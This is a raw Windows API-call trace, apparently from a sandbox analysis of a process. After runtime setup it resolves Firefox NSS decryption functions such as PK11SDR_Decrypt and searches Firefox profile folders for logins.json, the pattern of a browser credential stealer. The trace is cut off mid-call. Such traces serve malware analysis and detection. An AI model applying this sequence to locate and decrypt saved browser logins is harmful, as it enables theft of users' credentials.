[0070.694] __acrt_iob_func (param_1=0x0) returned 0x70be1060 [0070.694] malloc (_Size=0x8) returned 0x690e48 [0070.694] _lock_locales () returned 0x0 [0070.694] _unlock_locales () returned 0x0 [0070.694] _get_stream_buffer_pointers (in: _Stream=0x70be1060, _Base=0x18e234, _Pointer=0x18e230, _Count=0x18e22c | out: _Base=0x18e234, _Pointer=0x18e230, _Count=0x18e22c) returned 0x0 [0070.694] _register_onexit_function (_Table=0x70c53a54, _Function=0x70c2ecd0) returned 0 [0070.695] malloc (_Size=0x8) returned 0x690e68 [0070.695] _lock_locales () returned 0x0 [0070.695] _unlock_locales () returned 0x0 [0070.695] _lock_locales () returned 0x0 [0070.695] _unlock_locales () returned 0x0 [0070.695] _register_onexit_function (_Table=0x70c53a54, _Function=0x70c2ece0) returned 0 [0070.695] _register_onexit_function (_Table=0x70c53a54, _Function=0x70c2ecf0) returned 0 [0070.695] __acrt_iob_func (param_1=0x2) returned 0x70be10d0 [0070.695] malloc (_Size=0x8) returned 0x690e88 [0070.695] _lock_locales () returned 0x0 [0070.695] _unlock_locales () returned 0x0 [0070.695] _get_stream_buffer_pointers (in: _Stream=0x70be10d0, _Base=0x18e234, _Pointer=0x18e230, _Count=0x18e22c | out: _Base=0x18e234, _Pointer=0x18e230, _Count=0x18e22c) returned 0x0 [0070.695] _register_onexit_function (_Table=0x70c53a54, _Function=0x70c2ed00) returned 0 [0070.695] malloc (_Size=0x8) returned 0x690e98 [0070.695] _lock_locales () returned 0x0 [0070.695] _unlock_locales () returned 0x0 [0070.695] _lock_locales () returned 0x0 [0070.695] _unlock_locales () returned 0x0 [0070.695] _register_onexit_function (_Table=0x70c53a54, _Function=0x70c2ed10) returned 0 [0070.695] _register_onexit_function (_Table=0x70c53a54, _Function=0x70c2ed20) returned 0 [0070.695] __acrt_iob_func (param_1=0x1) returned 0x70be1098 [0070.695] malloc (_Size=0x8) returned 0x690ea8 [0070.695] _lock_locales () returned 0x0 [0070.695] _unlock_locales () returned 0x0 [0070.695] _get_stream_buffer_pointers (in: _Stream=0x70be1098, _Base=0x18e234, _Pointer=0x18e230, _Count=0x18e22c | out: _Base=0x18e234, _Pointer=0x18e230, _Count=0x18e22c) returned 0x0 [0070.695] _register_onexit_function (_Table=0x70c53a54, _Function=0x70c2ed30) returned 0 [0070.695] malloc (_Size=0x8) returned 0x690eb8 [0070.695] _lock_locales () returned 0x0 [0070.695] _unlock_locales () returned 0x0 [0070.695] _lock_locales () returned 0x0 [0070.695] _unlock_locales () returned 0x0 [0070.696] _register_onexit_function (_Table=0x70c53a54, _Function=0x70c2ed40) returned 0 [0070.696] _register_onexit_function (_Table=0x70c53a54, _Function=0x70c2ed50) returned 0 [0070.696] _register_onexit_function (_Table=0x70c53a54, _Function=0x70c2ed60) returned 0 [0070.696] _register_onexit_function (_Table=0x70c53a54, _Function=0x70c2ee30) returned 0 [0070.696] _register_onexit_function (_Table=0x70c53a54, _Function=0x70c2ee40) returned 0 [0070.696] __acrt_iob_func (param_1=0x2) returned 0x70be10d0 [0070.696] malloc (_Size=0x8) returned 0x690ec8 [0070.696] _lock_locales () returned 0x0 [0070.696] _unlock_locales () returned 0x0 [0070.696] _register_onexit_function (_Table=0x70c53a54, _Function=0x70c2ee50) returned 0 [0070.696] malloc (_Size=0x8) returned 0x690ed8 [0070.696] _lock_locales () returned 0x0 [0070.696] _unlock_locales () returned 0x0 [0070.696] _lock_locales () returned 0x0 [0070.696] _lock_locales () returned 0x0 [0070.696] _unlock_locales () returned 0x0 [0070.696] malloc (_Size=0x44) returned 0x682568 [0070.696] _lock_locales () returned 0x0 [0070.696] setlocale (category=0, locale=0x0) returned="C" [0070.696] malloc (_Size=0x2) returned 0x690ee8 [0070.696] setlocale (category=0, locale="C") returned="C" [0070.697] malloc (_Size=0x2) returned 0x690e78 [0070.697] ___lc_codepage_func () returned 0x0 [0070.697] _calloc_base (_Count=0x100, _Size=0x2) returned 0x69aa18 [0070.697] __pctype_func () returned 0x70b14860 [0070.697] ___lc_locale_name_func () returned 0x60f600 [0070.697] ___lc_codepage_func () returned 0x0 [0070.697] ___mb_cur_max_func () returned 1 [0070.697] ___lc_locale_name_func () returned 0x60f600 [0070.697] setlocale (category=0, locale="C") returned="C" [0070.697] free (_Block=0x690e78) [0070.697] free (_Block=0x690ee8) [0070.697] _unlock_locales () returned 0x0 [0070.697] malloc (_Size=0x8) returned 0x690ee8 [0070.697] _unlock_locales () returned 0x0 [0070.697] _register_onexit_function (_Table=0x70c53a54, _Function=0x70c2ee60) returned 0 [0070.697] _register_onexit_function (_Table=0x70c53a54, _Function=0x70c2ee70) returned 0 [0070.697] __acrt_iob_func (param_1=0x0) returned 0x70be1060 [0070.697] malloc (_Size=0x8) returned 0x690e78 [0070.697] _lock_locales () returned 0x0 [0070.697] _unlock_locales () returned 0x0 [0070.697] _register_onexit_function (_Table=0x70c53a54, _Function=0x70c2ee80) returned 0 [0070.697] malloc (_Size=0x8) returned 0x690ef8 [0070.697] _lock_locales () returned 0x0 [0070.697] _unlock_locales () returned 0x0 [0070.697] _lock_locales () returned 0x0 [0070.697] _unlock_locales () returned 0x0 [0070.697] _register_onexit_function (_Table=0x70c53a54, _Function=0x70c2ee90) returned 0 [0070.697] _register_onexit_function (_Table=0x70c53a54, _Function=0x70c2eea0) returned 0 [0070.697] __acrt_iob_func (param_1=0x2) returned 0x70be10d0 [0070.697] malloc (_Size=0x8) returned 0x690f18 [0070.697] _lock_locales () returned 0x0 [0070.697] _unlock_locales () returned 0x0 [0070.697] _register_onexit_function (_Table=0x70c53a54, _Function=0x70c2eeb0) returned 0 [0070.697] malloc (_Size=0x8) returned 0x690f28 [0070.697] _lock_locales () returned 0x0 [0070.698] _unlock_locales () returned 0x0 [0070.698] _lock_locales () returned 0x0 [0070.698] _unlock_locales () returned 0x0 [0070.698] _register_onexit_function (_Table=0x70c53a54, _Function=0x70c2eec0) returned 0 [0070.698] _register_onexit_function (_Table=0x70c53a54, _Function=0x70c2eed0) returned 0 [0070.698] __acrt_iob_func (param_1=0x1) returned 0x70be1098 [0070.698] malloc (_Size=0x8) returned 0x690f38 [0070.698] _lock_locales () returned 0x0 [0070.698] _unlock_locales () returned 0x0 [0070.698] _register_onexit_function (_Table=0x70c53a54, _Function=0x70c2eee0) returned 0 [0070.698] malloc (_Size=0x8) returned 0x690f48 [0070.698] _lock_locales () returned 0x0 [0070.698] _unlock_locales () returned 0x0 [0070.698] _lock_locales () returned 0x0 [0070.698] _unlock_locales () returned 0x0 [0070.698] _register_onexit_function (_Table=0x70c53a54, _Function=0x70c2eef0) returned 0 [0070.698] _register_onexit_function (_Table=0x70c53a54, _Function=0x70c2ef00) returned 0 [0070.698] __acrt_iob_func (param_1=0x2) returned 0x70be10d0 [0070.698] malloc (_Size=0x8) returned 0x690f58 [0070.698] _lock_locales () returned 0x0 [0070.698] _unlock_locales () returned 0x0 [0070.698] _register_onexit_function (_Table=0x70c53a54, _Function=0x70c2ef10) returned 0 [0070.698] malloc (_Size=0x8) returned 0x690f68 [0070.698] _lock_locales () returned 0x0 [0070.698] _unlock_locales () returned 0x0 [0070.698] _lock_locales () returned 0x0 [0070.698] _lock_locales () returned 0x0 [0070.698] _unlock_locales () returned 0x0 [0070.698] malloc (_Size=0x44) returned 0x6825b8 [0070.698] _lock_locales () returned 0x0 [0070.698] setlocale (category=0, locale=0x0) returned="C" [0070.698] malloc (_Size=0x2) returned 0x690f78 [0070.698] setlocale (category=0, locale="C") returned="C" [0070.698] malloc (_Size=0x2) returned 0x690f08 [0070.699] ___lc_codepage_func () returned 0x0 [0070.699] _calloc_base (_Count=0x100, _Size=0x2) returned 0x69ac20 [0070.699] __pctype_func () returned 0x70b14860 [0070.699] ___lc_locale_name_func () returned 0x69a7f0 [0070.699] ___lc_codepage_func () returned 0x0 [0070.699] ___mb_cur_max_func () returned 1 [0070.699] ___lc_locale_name_func () returned 0x69a7f0 [0070.699] setlocale (category=0, locale="C") returned="C" [0070.699] free (_Block=0x690f08) [0070.699] free (_Block=0x690f78) [0070.699] _unlock_locales () returned 0x0 [0070.699] malloc (_Size=0x8) returned 0x690f78 [0070.699] _unlock_locales () returned 0x0 [0070.699] _register_onexit_function (_Table=0x70c53a54, _Function=0x70c2ef20) returned 0 [0070.699] _register_onexit_function (_Table=0x70c53a54, _Function=0x70c2ef30) returned 0 [0070.699] __acrt_iob_func (param_1=0x0) returned 0x70be1060 [0070.699] malloc (_Size=0x8) returned 0x690f08 [0070.699] _lock_locales () returned 0x0 [0070.699] _unlock_locales () returned 0x0 [0070.699] _register_onexit_function (_Table=0x70c53a54, _Function=0x70c2ef40) returned 0 [0070.699] malloc (_Size=0x8) returned 0x690f88 [0070.699] _lock_locales () returned 0x0 [0070.699] _unlock_locales () returned 0x0 [0070.699] _lock_locales () returned 0x0 [0070.699] _unlock_locales () returned 0x0 [0070.699] _register_onexit_function (_Table=0x70c53a54, _Function=0x70c2ef50) returned 0 [0070.699] _register_onexit_function (_Table=0x70c53a54, _Function=0x70c2ef60) returned 0 [0070.699] __acrt_iob_func (param_1=0x2) returned 0x70be10d0 [0070.699] malloc (_Size=0x8) returned 0x690fa8 [0070.699] _lock_locales () returned 0x0 [0070.699] _unlock_locales () returned 0x0 [0070.699] _register_onexit_function (_Table=0x70c53a54, _Function=0x70c2ef70) returned 0 [0070.699] malloc (_Size=0x8) returned 0x690fb8 [0070.699] _lock_locales () returned 0x0 [0070.700] _unlock_locales () returned 0x0 [0070.700] _lock_locales () returned 0x0 [0070.700] _unlock_locales () returned 0x0 [0070.700] _register_onexit_function (_Table=0x70c53a54, _Function=0x70c2ef80) returned 0 [0070.700] _register_onexit_function (_Table=0x70c53a54, _Function=0x70c2ef90) returned 0 [0070.700] __acrt_iob_func (param_1=0x1) returned 0x70be1098 [0070.700] malloc (_Size=0x8) returned 0x690fc8 [0070.700] _lock_locales () returned 0x0 [0070.700] _unlock_locales () returned 0x0 [0070.700] _register_onexit_function (_Table=0x70c53a54, _Function=0x70c2efa0) returned 0 [0070.700] malloc (_Size=0x8) returned 0x690fd8 [0070.700] _lock_locales () returned 0x0 [0070.700] _unlock_locales () returned 0x0 [0070.700] _lock_locales () returned 0x0 [0070.700] _unlock_locales () returned 0x0 [0070.700] _register_onexit_function (_Table=0x70c53a54, _Function=0x70c2efb0) returned 0 [0070.700] _register_onexit_function (_Table=0x70c53a54, _Function=0x70c2efc0) returned 0 [0070.700] _register_onexit_function (_Table=0x70c53a54, _Function=0x70c2edb0) returned 0 [0070.700] _register_onexit_function (_Table=0x70c53a54, _Function=0x70c2ee20) returned 0 [0070.701] _register_onexit_function (_Table=0x70c53a54, _Function=0x70c2ec80) returned 0 [0070.701] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0070.701] _initialize_onexit_table (_Table=0x739613cc) returned 0 [0070.701] _initialize_onexit_table (_Table=0x739613d8) returned 0 [0070.701] RtlInitializeSListHead (in: ListHead=0x73961400 | out: ListHead=0x73961400) [0070.702] GetModuleHandleW (lpModuleName="api-ms-win-core-synch-l1-2-0.dll") returned 0x74650000 [0070.702] GetProcAddress (hModule=0x74650000, lpProcName="InitializeConditionVariable") returned 0x77168456 [0070.702] GetProcAddress (hModule=0x74650000, lpProcName="SleepConditionVariableCS") returned 0x76cb4b32 [0070.702] GetProcAddress (hModule=0x74650000, lpProcName="WakeAllConditionVariable") returned 0x7719409d [0070.702] RtlInitializeConditionVariable () returned 0x73961098 [0070.702] _register_onexit_function (_Table=0x739613cc, _Function=0x7394c37a) returned 0 [0070.702] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0070.703] _register_onexit_function (_Table=0x739613cc, _Function=0x7394dabb) returned 0 [0070.703] _register_onexit_function (_Table=0x739613cc, _Function=0x7394dacf) returned 0 [0070.703] _register_onexit_function (_Table=0x739613cc, _Function=0x7394dac5) returned 0 [0070.708] getenv (_VarName="MOZ_TIMESTAMP_MODE") returned 0x0 [0070.722] QueryPerformanceFrequency (in: lpFrequency=0x18e218 | out: lpFrequency=0x18e218*=100000000) returned 1 [0070.722] _strnicmp (_Str1="GenuntelineI", _Str="GenuntelineI", _MaxCount=0xc) returned 0 [0070.722] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18e200, lpTimeIncrement=0x18e204, lpTimeAdjustmentDisabled=0x18e1fc | out: lpTimeAdjustment=0x18e200, lpTimeIncrement=0x18e204, lpTimeAdjustmentDisabled=0x18e1fc) returned 1 [0070.723] QueryPerformanceCounter (in: lpPerformanceCount=0x18e1e4 | out: lpPerformanceCount=0x18e1e4*=19100012771) returned 1 [0070.723] QueryPerformanceCounter (in: lpPerformanceCount=0x18e1e4 | out: lpPerformanceCount=0x18e1e4*=19100022418) returned 1 [0070.723] QueryPerformanceCounter (in: lpPerformanceCount=0x18e1e4 | out: lpPerformanceCount=0x18e1e4*=19100031276) returned 1 [0070.723] QueryPerformanceCounter (in: lpPerformanceCount=0x18e1e4 | out: lpPerformanceCount=0x18e1e4*=19100040185) returned 1 [0070.723] QueryPerformanceCounter (in: lpPerformanceCount=0x18e1e4 | out: lpPerformanceCount=0x18e1e4*=19100049100) returned 1 [0070.723] QueryPerformanceCounter (in: lpPerformanceCount=0x18e1e4 | out: lpPerformanceCount=0x18e1e4*=19100057919) returned 1 [0070.723] QueryPerformanceCounter (in: lpPerformanceCount=0x18e1e4 | out: lpPerformanceCount=0x18e1e4*=19100066769) returned 1 [0070.723] QueryPerformanceCounter (in: lpPerformanceCount=0x18e1e4 | out: lpPerformanceCount=0x18e1e4*=19100075572) returned 1 [0070.723] QueryPerformanceCounter (in: lpPerformanceCount=0x18e1e4 | out: lpPerformanceCount=0x18e1e4*=19100086063) returned 1 [0070.723] QueryPerformanceCounter (in: lpPerformanceCount=0x18e1e4 | out: lpPerformanceCount=0x18e1e4*=19100095158) returned 1 [0070.723] QueryPerformanceCounter (in: lpPerformanceCount=0x18e1e4 | out: lpPerformanceCount=0x18e1e4*=19100104227) returned 1 [0070.724] QueryPerformanceCounter (in: lpPerformanceCount=0x18e1e4 | out: lpPerformanceCount=0x18e1e4*=19100113381) returned 1 [0070.724] QueryPerformanceCounter (in: lpPerformanceCount=0x18e1e4 | out: lpPerformanceCount=0x18e1e4*=19100122445) returned 1 [0070.724] QueryPerformanceCounter (in: lpPerformanceCount=0x18e1e4 | out: lpPerformanceCount=0x18e1e4*=19100131525) returned 1 [0070.724] QueryPerformanceCounter (in: lpPerformanceCount=0x18e1e4 | out: lpPerformanceCount=0x18e1e4*=19100140602) returned 1 [0070.724] QueryPerformanceCounter (in: lpPerformanceCount=0x18e1e4 | out: lpPerformanceCount=0x18e1e4*=19100149636) returned 1 [0070.724] QueryPerformanceCounter (in: lpPerformanceCount=0x18e1e4 | out: lpPerformanceCount=0x18e1e4*=19100158731) returned 1 [0070.724] QueryPerformanceCounter (in: lpPerformanceCount=0x18e1e4 | out: lpPerformanceCount=0x18e1e4*=19100167849) returned 1 [0070.724] QueryPerformanceCounter (in: lpPerformanceCount=0x18e1e4 | out: lpPerformanceCount=0x18e1e4*=19100176922) returned 1 [0070.724] QueryPerformanceCounter (in: lpPerformanceCount=0x18e1e4 | out: lpPerformanceCount=0x18e1e4*=19100186018) returned 1 [0070.724] QueryPerformanceCounter (in: lpPerformanceCount=0x18e210 | out: lpPerformanceCount=0x18e210*=19100195099) returned 1 [0070.724] GetTickCount64 () returned 0x1fdde [0070.725] _register_onexit_function (_Table=0x739613cc, _Function=0x7394dad9) returned 0 [0070.725] DisableThreadLibraryCalls (hLibModule=0x73940000) returned 0 [0070.726] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0070.726] _initialize_onexit_table (_Table=0x70e79180) returned 0 [0070.726] _initialize_onexit_table (_Table=0x70e7918c) returned 0 [0070.726] RtlInitializeSListHead (in: ListHead=0x70e79170 | out: ListHead=0x70e79170) [0070.726] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0070.727] GetProcAddress (hModule=0x70d50000, lpProcName="sqlite3_open") returned 0x70da49c9 [0070.727] GetProcAddress (hModule=0x70d50000, lpProcName="sqlite3_close") returned 0x70da3341 [0070.728] GetProcAddress (hModule=0x70d50000, lpProcName="sqlite3_prepare_v2") returned 0x70d8d529 [0070.728] GetProcAddress (hModule=0x70d50000, lpProcName="sqlite3_step") returned 0x70d6cfda [0070.728] GetProcAddress (hModule=0x70d50000, lpProcName="sqlite3_column_text") returned 0x70d6d453 [0070.728] GetProcAddress (hModule=0x70d50000, lpProcName="sqlite3_column_bytes") returned 0x70d6d37e [0070.728] GetProcAddress (hModule=0x70d50000, lpProcName="sqlite3_finalize") returned 0x70d6c7d3 [0070.728] GetProcAddress (hModule=0x70d50000, lpProcName="NSS_Init") returned 0x70de0391 [0070.729] GetProcAddress (hModule=0x70d50000, lpProcName="PK11_GetInternalKeySlot") returned 0x70e048fe [0070.729] GetProcAddress (hModule=0x70d50000, lpProcName="PK11_Authenticate") returned 0x70ded0d8 [0070.729] GetProcAddress (hModule=0x70d50000, lpProcName="PK11SDR_Decrypt") returned 0x70e0089d [0070.729] GetProcAddress (hModule=0x70d50000, lpProcName="NSS_Shutdown") returned 0x70de061c [0070.729] GetProcAddress (hModule=0x70d50000, lpProcName="PK11_FreeSlot") returned 0x70e04370 [0070.730] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x452bc2c, cbMultiByte=35, lpWideCharStr=0x18d5d0, cchWideChar=2047 | out: lpWideCharStr="%appdata%\\Mozilla\\Firefox\\Profiles\\") returned 35 [0070.730] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Mozilla\\Firefox\\Profiles\\", lpDst=0x69af34, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned 0x48 [0070.730] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\*.*", lpFindFileData=0x18e35c | out: lpFindFileData=0x18e35c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66e448 [0070.826] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4526d7c, cbMultiByte=11, lpWideCharStr=0x18d2e8, cchWideChar=2047 | out: lpWideCharStr="logins.jsonows\\System32\\WindowsPowerShell\\v1.0\\api-ms-win-core-localization-l1-2-1.DLL") returned 11 [0070.826] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\.\\logins.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\logins.json")) returned 0xffffffff [0070.826] FindNextFileW (in: hFindFile=0x66e448, lpFindFileData=0x18e35c | out: lpFindFileData=0x18e35c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.826] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4526d7c, cbMultiByte=11, lpWideCharStr=0x18d2e8, cchWideChar=2047 | out: lpWideCharStr="logins.jsonows\\System32\\WindowsPowerShell\\v1.0\\api-ms-win-core-localization-l1-2-1.DLL") returned 11 [0070.826] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\..\\logins.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\logins.json")) returned 0xffffffff [0070.826] FindNextFileW (in: hFindFile=0x66e448, lpFindFileData=0x18e35c | out: lpFindFileData=0x18e35c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x85442390, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x85442390, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="silmbjec.default", cAlternateFileName="SILMBJ~1.DEF")) returned 1 [0070.826] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4526d7c, cbMultiByte=11, lpWideCharStr=0x18d2e8, cchWideChar=2047 | out: lpWideCharStr="logins.jsonows\\System32\\WindowsPowerShell\\v1.0\\api-ms-win-core-localization-l1-2-1.DLL") returned 11 [0070.826] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\logins.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\logins.json")) returned 0xffffffff [0071.062] FindNextFileW (in: hFindFile=0x66e448, lpFindFileData=0x18e35c | out: lpFindFileData=0x18e35c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x85442390, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x85442390, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="silmbjec.default", cAlternateFileName="SILMBJ~1.DEF")) returned 0 [0071.062] GetSystemInfo (in: lpSystemInfo=0x18e2a4 | out: lpSystemInfo=0x18e2a4*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0071.063] GetSystemInfo (in: lpSystemInfo=0x18e23c | out: lpSystemInfo=0x18e23c*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0071.063] RtlWakeAllConditionVariable () returned 0x0 [0071.063] GetEnvironmentVariableA (in: lpName="MALLOC_OPTIONS", lpBuffer=0x739616c0, nSize=0x40 | out: lpBuffer="") returned 0x0 [0071.063] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x4590000 [0071.063] VirtualFree (lpAddress=0x4590000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0071.064] VirtualAlloc (lpAddress=0x0, dwSize=0x1ff000, flAllocationType=0x3000, flProtect=0x4) returned 0x4590000 [0071.064] VirtualFree (lpAddress=0x4590000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0071.064] VirtualAlloc (lpAddress=0x4600000, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x4600000 [0071.064] VirtualFree (lpAddress=0x4601000, dwSize=0xff000, dwFreeType=0x4000) returned 1 [0071.067] VirtualAlloc (lpAddress=0x4601000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x4601000 [0071.068] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x4700000 [0071.068] VirtualFree (lpAddress=0x4701000, dwSize=0xff000, dwFreeType=0x4000) returned 1 [0071.071] VirtualAlloc (lpAddress=0x4701000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x4701000 [0071.071] VirtualAlloc (lpAddress=0x4702000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x4702000 [0071.071] strncpy (in: _Dest=0x4702050, _Source="clock", _Count=0x5 | out: _Dest="clock") returned="clock" [0071.071] getenv (_VarName="NSPR_LOG_MODULES") returned 0x0 [0071.072] strncpy (in: _Dest=0x4702058, _Source="cmon", _Count=0x4 | out: _Dest="cmon") returned="cmon" [0071.072] getenv (_VarName="NSPR_LOG_MODULES") returned 0x0 [0071.072] strncpy (in: _Dest=0x4702060, _Source="io", _Count=0x2 | out: _Dest="io") returned="io" [0071.072] getenv (_VarName="NSPR_LOG_MODULES") returned 0x0 [0071.072] strncpy (in: _Dest=0x4702068, _Source="mon", _Count=0x3 | out: _Dest="mon") returned="mon" [0071.072] getenv (_VarName="NSPR_LOG_MODULES") returned 0x0 [0071.072] strncpy (in: _Dest=0x4702070, _Source="linker", _Count=0x6 | out: _Dest="linker") returned="linker" [0071.072] getenv (_VarName="NSPR_LOG_MODULES") returned 0x0 [0071.072] strncpy (in: _Dest=0x4702078, _Source="cvar", _Count=0x4 | out: _Dest="cvar") returned="cvar" [0071.072] getenv (_VarName="NSPR_LOG_MODULES") returned 0x0 [0071.072] strncpy (in: _Dest=0x4702080, _Source="sched", _Count=0x5 | out: _Dest="sched") returned="sched" [0071.073] getenv (_VarName="NSPR_LOG_MODULES") returned 0x0 [0071.073] strncpy (in: _Dest=0x4702088, _Source="thread", _Count=0x6 | out: _Dest="thread") returned="thread" [0071.073] getenv (_VarName="NSPR_LOG_MODULES") returned 0x0 [0071.073] strncpy (in: _Dest=0x4702090, _Source="gc", _Count=0x2 | out: _Dest="gc") returned="gc" [0071.073] getenv (_VarName="NSPR_LOG_MODULES") returned 0x0 [0071.073] strncpy (in: _Dest=0x4702098, _Source="shm", _Count=0x3 | out: _Dest="shm") returned="shm" [0071.073] getenv (_VarName="NSPR_LOG_MODULES") returned 0x0 [0071.073] strncpy (in: _Dest=0x47020a0, _Source="shma", _Count=0x4 | out: _Dest="shma") returned="shma" [0071.073] getenv (_VarName="NSPR_LOG_MODULES") returned 0x0 [0071.073] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0071.074] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadDescription") returned 0x0 [0071.074] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0071.074] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0071.074] VirtualAlloc (lpAddress=0x4703000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x4703000 [0071.075] VirtualAlloc (lpAddress=0x4704000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x4704000 [0071.075] VirtualAlloc (lpAddress=0x470c000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x470c000 [0071.076] VirtualAlloc (lpAddress=0x470d000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x470d000 [0071.076] GetCurrentProcess () returned 0xffffffff [0071.076] GetCurrentThread () returned 0xfffffffe [0071.076] GetCurrentProcess () returned 0xffffffff [0071.076] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xfffffffe, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x470d148, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x470d148*=0x3a8) returned 1 [0071.076] GetCurrentThreadId () returned 0xb4c [0071.076] CreateSemaphoreA (lpSemaphoreAttributes=0x0, lInitialCount=0, lMaximumCount=1, lpName=0x0) returned 0x3ac [0071.077] VirtualAlloc (lpAddress=0x470e000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x470e000 [0071.078] VirtualAlloc (lpAddress=0x4712000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x4712000 [0071.079] getenv (_VarName="NSPR_FD_CACHE_SIZE_LOW") returned 0x0 [0071.079] getenv (_VarName="NSPR_FD_CACHE_SIZE_HIGH") returned 0x0 [0071.079] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0071.079] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0071.079] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0071.080] WSAStartup (in: wVersionRequired=0x101, lpWSAData=0x18e138 | out: lpWSAData=0x18e138) returned 0 [0071.080] GetCurrentProcess () returned 0xffffffff [0071.080] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18dc78 | out: TokenHandle=0x18dc78*=0x3b0) returned 1 [0071.080] GetTokenInformation (in: TokenHandle=0x3b0, TokenInformationClass=0x4, TokenInformation=0x18dc88, TokenInformationLength=0x400, ReturnLength=0x18dc7c | out: TokenInformation=0x18dc88, ReturnLength=0x18dc7c) returned 1 [0071.080] GetLengthSid 